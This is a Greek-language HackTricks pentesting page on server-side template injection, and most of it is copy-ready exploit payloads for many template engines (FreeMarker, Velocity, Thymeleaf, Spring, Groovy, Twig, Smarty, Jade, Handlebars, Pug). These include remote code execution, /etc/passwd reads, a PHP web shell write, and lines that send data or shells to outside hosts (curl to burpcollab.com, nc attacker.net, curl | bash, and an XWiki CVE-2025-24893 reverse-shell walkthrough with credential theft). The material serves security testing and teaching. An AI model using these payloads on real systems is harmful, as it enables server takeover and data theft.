SSTI (Server Side Template Injection)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι SSTI (Server-Side Template Injection)

Το Server-side template injection είναι μια ευπάθεια που προκύπτει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.

Το Jinja είναι ένας δημοφιλής template engine που χρησιμοποιείται σε web εφαρμογές. Ας δούμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα που χρησιμοποιεί το Jinja:

output = template.render(name=request.args.get('name'))

Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name από το request του χρήστη προωθείται απευθείας στο template χρησιμοποιώντας τη συνάρτηση render. Αυτό μπορεί να επιτρέψει σε έναν attacker να εισάγει κακόβουλο κώδικα στην παράμετρο name, οδηγώντας σε server-side template injection.

Για παράδειγμα, ένας attacker θα μπορούσε να κατασκευάσει ένα request με payload όπως το εξής:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Το payload {{bad-stuff-here}} εγχέεται στην παράμετρο name. Αυτό το payload μπορεί να περιέχει οδηγίες template Jinja που επιτρέπουν στον attacker να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειραγωγήσει τη template engine, ενδεχομένως αποκτώντας έλεγχο του server.

Για να προληφθούν ευπάθειες server-side template injection, οι developers πρέπει να διασφαλίζουν ότι τα user input καθαρίζονται και επικυρώνονται σωστά πριν εισαχθούν σε templates. Η εφαρμογή validation εισόδου και η χρήση context-aware escaping τεχνικών μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.

Detection

Για να εντοπιστεί το Server-Side Template Injection (SSTI), αρχικά, το fuzzing του template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την έγχυση μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\) στο template και την ανάλυση των διαφορών στην απόκριση του server μεταξύ κανονικών δεδομένων και αυτού του ειδικού payload. Δείκτες ευπάθειας περιλαμβάνουν:

  • Σφάλματα που προκύπτουν, αποκαλύπτοντας την ευπάθεια και ενδεχομένως τη μηχανή προτύπων.
  • Απουσία του payload στην ανάκλαση, ή τμήματα του να λείπουν, υπονοώντας ότι ο server το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
  • Plaintext Context: Διαχωρίζεται από XSS ελέγχοντας αν ο server αξιολογεί εκφράσεις template (π.χ., {{7*7}}, ${7*7}).
  • Code Context: Επιβεβαιώστε την ευπάθεια αλλάζοντας παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το greeting στο http://vulnerable-website.com/?greeting=data.username για να δείτε αν η έξοδος του server είναι δυναμική ή σταθερή, όπως όταν greeting=data.username}}hello επιστρέφει το username.

Identification Phase

Ο εντοπισμός της template engine περιλαμβάνει την ανάλυση μηνυμάτων λάθους ή το χειροκίνητο τεστάρισμα διάφορων payload ειδικών για κάθε γλώσσα. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}, {{7/0}} και <%= 7/0 %>. Η παρατήρηση της απόκρισης του server σε μαθηματικές λειτουργίες βοηθά στον προσδιορισμό της συγκεκριμένης template engine.

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

ένας αποδοτικός SSTI + CSTI scanner που χρησιμοποιεί καινοτόμους polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς template injection polyglots μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών template engines.

Exploits

Γενικά

Σε αυτό το wordlist μπορείτε να βρείτε μεταβλητές που έχουν οριστεί στα περιβάλλοντα κάποιων από τις engines που αναφέρονται παρακάτω:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος

${T(java.lang.System).getenv()}

Java - Ανάκτηση /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker πριν από την 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Περισσότερες πληροφορίες

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Περισσότερες πληροφορίες

Thymeleaf

Στο Thymeleaf, ένα συνηθισμένο test για ευπάθειες SSTI είναι η έκφραση ${7*7}, που εφαρμόζεται και σε αυτή τη μηχανή προτύπων. Για πιθανό remote code execution, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι εξής:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται μέσα σε συγκεκριμένα attributes. Ωστόσο, υποστηρίζεται ενσωμάτωση εκφράσεων για άλλες θέσεις στο template, χρησιμοποιώντας σύνταξη όπως [[...]] ή [(...)]. Έτσι, ένα απλό SSTI test payload μπορεί να μοιάζει με [[${7*7}]].

Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά μικρή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία templates· τα templates πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver για να δημιουργούν templates από strings σε πραγματικό χρόνο, κάτι που δεν είναι συνηθισμένο.

Το Thymeleaf προσφέρει επίσης προεπεξεργασία εκφράσεων, όπου οι εκφράσεις μέσα σε διπλά underscores (__...__) προεπεξεργάζονται. Αυτή η λειτουργία μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως δείχνει η τεκμηρίωση του Thymeleaf:

#{selection.__${sel.code}__}

Παράδειγμα ευπάθειας στο Thymeleaf

Εξετάστε το ακόλουθο απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Αυτό υποδεικνύει ότι αν η template engine επεξεργάζεται αυτές τις εισόδους ακατάλληλα, μπορεί να οδηγήσει σε remote code execution που προσπελαύνει URLs όπως:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Περισσότερες πληροφορίες

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Παράκαμψη φίλτρων

Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών — αν ${...} δεν λειτουργεί, δοκιμάστε #{...}, *{...}, @{...} ή ~{...}.

  • Διάβασε /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Προσαρμοσμένο script για τη δημιουργία payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Περισσότερες Πληροφορίες

Χειραγώγηση Spring View (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Παλαιότερη έκδοση του Pebble ( < έκδοση 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Νέα έκδοση του Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Το Jinjava είναι ένα open source project που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Περισσότερες πληροφορίες

Hubspot - HuBL (Java)

  • {% %} διαχωριστές δηλώσεων
  • {{ }} διαχωριστές εκφράσεων
  • {# #} διαχωριστές σχολίων
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Αναζητήστε “com.hubspot.content.hubl.context.TemplateContextRequest” και θα βρείτε το Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Περισσότερες πληροφορίες

Γλώσσα Εκφράσεων - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ του επιπέδου παρουσίασης (όπως ιστοσελίδες) και της λογικής της εφαρμογής (όπως managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτήν την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:

  • JavaServer Faces (JSF): Χρησιμοποιεί την EL για να δεσμεύσει components σε JSF σελίδες με τα αντίστοιχα backend δεδομένα και ενέργειες.
  • JavaServer Pages (JSP): Η EL χρησιμοποιείται στο JSP για πρόσβαση και χειρισμό δεδομένων μέσα σε JSP σελίδες, διευκολύνοντας τη σύνδεση στοιχείων σελίδας με τα δεδομένα της εφαρμογής.
  • Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέψει ομαλή αλληλεπίδραση μεταξύ του web layer και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.

Δες την παρακάτω σελίδα για να μάθεις περισσότερα σχετικά με την εκμετάλλευση των EL interpreters:

EL - Expression Language

Groovy (Java)

Οι παρακάτω παρακάμψεις του Security Manager προέρχονται από αυτό το writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) αποδίδει μη-authenticated RSS search feeds μέσω του Main.SolrSearch macro. Ο handler παίρνει το query parameter text, το τυλίγει σε wiki syntax και αξιολογεί macros, οπότε η ένεση }}} ακολουθούμενη από {{groovy}} εκτελεί αυθαίρετο Groovy στο JVM.

  1. Αποτύπωση & εύρος – Όταν το XWiki είναι reverse-proxied πίσω από host-based routing, fuzzάρετε το Host header (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) για να ανακαλύψετε το wiki vhost, μετά μπείτε στο /xwiki/bin/view/Main/ και διαβάστε το footer (XWiki Debian 15.10.8) για να επιβεβαιώσετε το ευάλωτο build.
  2. Πρόκληση SSTI – Κάντε request σε /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Το RSS item <title> θα περιέχει την έξοδο του Groovy. Πάντα κάνετε URL-encode όλους τους χαρακτήρες έτσι ώστε τα κενά να μένουν ως %20; η αντικατάσταση τους με + κάνει το XWiki να ρίχνει HTTP 500.
  3. Εκτέλεση εντολών OS – Αντικαταστήστε το σώμα του Groovy με {{groovy}}println("id".execute().text){{/groovy}}. Το String.execute() δημιουργεί την εντολή απευθείας με execve(), οπότε τα shell metacharacters (|, >, &) δεν ερμηνεύονται. Χρησιμοποιήστε pattern download-and-execute αντί για άμεσο shell parsing:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (το script περιέχει τη λογική του reverse shell).
  1. Μετά την εκμετάλλευση – Το XWiki αποθηκεύει τα database credentials στο /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password gives real-system passwords που μπορούν να επαναχρησιμοποιηθούν για SSH. Αν το service unit έχει NoNewPrivileges=true, εργαλεία όπως το /bin/su δεν θα αποκτήσουν επιπλέον προνόμια ακόμα και με έγκυρους κωδικούς, οπότε κάντε pivot μέσω SSH αντί να βασιστείτε σε τοπικά SUID binaries.

Το ίδιο payload δουλεύει σε /xwiki/bin/get/Main/SolrSearch, και το Groovy stdout πάντα ενσωματώνεται στον RSS title, οπότε είναι εύκολο να αυτοματοποιηθεί η απογραφή εντολών.

Άλλο Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Περισσότερες πληροφορίες

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Μορφή προτύπου

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Περισσότερες πληροφορίες

Plates (PHP)

Το Plates είναι μια μηχανή templating εγγενής στο PHP, αντλώντας έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, που εισάγει μια νέα σύνταξη, το Plates αξιοποιεί εγγενή κώδικα PHP στα πρότυπα, καθιστώντας το διαισθητικό για προγραμματιστές PHP.

Ελεγκτής:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Πρότυπο σελίδας:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Πρότυπο διάταξης:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Περισσότερες πληροφορίες

PHPlib και HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά έχει μεταφερθεί στο Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Περισσότερες πληροφορίες

Άλλο PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Περισσότερες πληροφορίες

patTemplate (PHP)

patTemplate μη μεταγλωττιζόμενη μηχανή templating για PHP, που χρησιμοποιεί ετικέτες XML για να χωρίσει ένα έγγραφο σε διαφορετικά μέρη

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Περισσότερες πληροφορίες

Handlebars (NodeJS)

Path Traversal (περισσότερες πληροφορίες here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Σφάλμα
  • ${7*7} = ${7*7}
  • Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Περισσότερες πληροφορίες

JsRender (NodeJS)

ΠρότυποΠεριγραφή
Αξιολογεί και εμφανίζει έξοδο
Αξιολογεί και εμφανίζει HTML-κωδικοποιημένη έξοδο
Σχόλιο
καιΕπιτρέπει εκτέλεση κώδικα (απενεργοποιημένο από προεπιλογή)
  • = 49

Πλευρά πελάτη

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Πλευρά διακομιστή

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Περισσότερες πληροφορίες

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Παράδειγμα render στην πλευρά του server

var pugjs = require("pug")
home = pugjs.render(injected_page)

Περισσότερες πληροφορίες

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
